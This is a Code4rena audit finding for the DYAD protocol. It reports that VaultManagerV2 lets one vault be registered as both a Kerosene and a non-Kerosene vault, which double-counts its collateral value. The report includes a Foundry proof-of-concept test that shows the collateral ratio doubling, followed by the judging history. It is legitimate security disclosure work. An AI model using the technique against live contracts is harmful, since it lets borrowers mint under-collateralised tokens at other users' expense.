Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 155/183
Findings: 1
Award: $0.28
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L66-L91
A dNFT owner can add vaults to their dNFT. The vault can either be a Kerosene vault, or non-Kerosene vault.
Also, the protocol requires that the users maintain 150% collaterization for the DYADs that are minted. The collateral ratio is calculated based on the USD values of the vaults added to the dNFT.
But, a dNFT owner can add the same vault as both Kerosene vault, and as a non-Kerosene vault, and so when the total USD value of the collateral is calculated, the vault's USD value is counted twice.
/// @inheritdoc IVaultManager function add( uint id, address vault ) external isDNftOwner(id) { if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults(); if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaults[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); } function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
We can see in the above add functions that there is no check that prevents a vault from getting added to both vaults
and vaultsKerosene
.
Now, when the total USD value of a dNFT is calculated, it counts the vault as both Kerosene vault and non-Kerosene vault, which leads to double of the actual total USD value, which thereby doubles their collateral ratio.
function getTotalUsdValue( uint id ) public view returns (uint) { return getNonKeroseneValue(id) + getKeroseneValue(id); }
The dNFT owner does not have to maintain 150% collateral ratio, and just needs to maintain 75% of the collateral ratio to not get liquidated.
Use the following test file for the POC.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {Contracts, DeployV2} from "../script/deploy/Deploy.V2.s.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {Vault} from "../src/core/Vault.sol"; contract VaultManagerV2Test is Test, Parameters { DNft dNft; Dyad dyad; VaultManagerV2 vaultManager; // weth Vault wethVault; ERC20 weth; address thisAddress; function setUp() public { dNft = DNft(MAINNET_DNFT); dyad = Dyad(MAINNET_DYAD); weth = ERC20(MAINNET_WETH); Contracts memory contracts = new DeployV2().run(); vaultManager = contracts.vaultManager; wethVault = contracts.ethVault; Licenser licenser = Licenser(dyad.licenser()); vm.prank(licenser.owner()); licenser.add(address(vaultManager)); thisAddress = address(this); deal(address(weth), thisAddress, 9999999 ether); } function testSameVaultAddedTwiceIncreasesCR() public { uint256 amountOfCollateralToDeposit = 1e18; uint256 amountOfDyadToMint = 1e18; uint256 id = dNft.mintNft{value: 1 ether}(thisAddress); deposit(id, address(wethVault), amountOfCollateralToDeposit); vaultManager.mintDyad(id, amountOfDyadToMint, thisAddress); uint256 collateralRatio1 = vaultManager.collatRatio(id); vaultManager.addKerosene(id, address(wethVault)); uint256 collateralRatio2 = vaultManager.collatRatio(id); assertTrue(collateralRatio2 / 2 >= collateralRatio1); } function deposit(uint256 id, address vault, uint256 amount) public { vaultManager.add(id, vault); weth.approve(address(vaultManager), amount); vaultManager.deposit(id, vault, amount); } function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) { return 0x150b7a02; } receive() external payable {} }
Manual Review
Other
#0 - c4-pre-sort
2024-04-28T07:03:59Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-29T08:37:42Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:46:24Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-29T11:19:55Z
koolexcrypto marked the issue as duplicate of #1133
#4 - c4-judge
2024-05-29T14:03:51Z
koolexcrypto marked the issue as satisfactory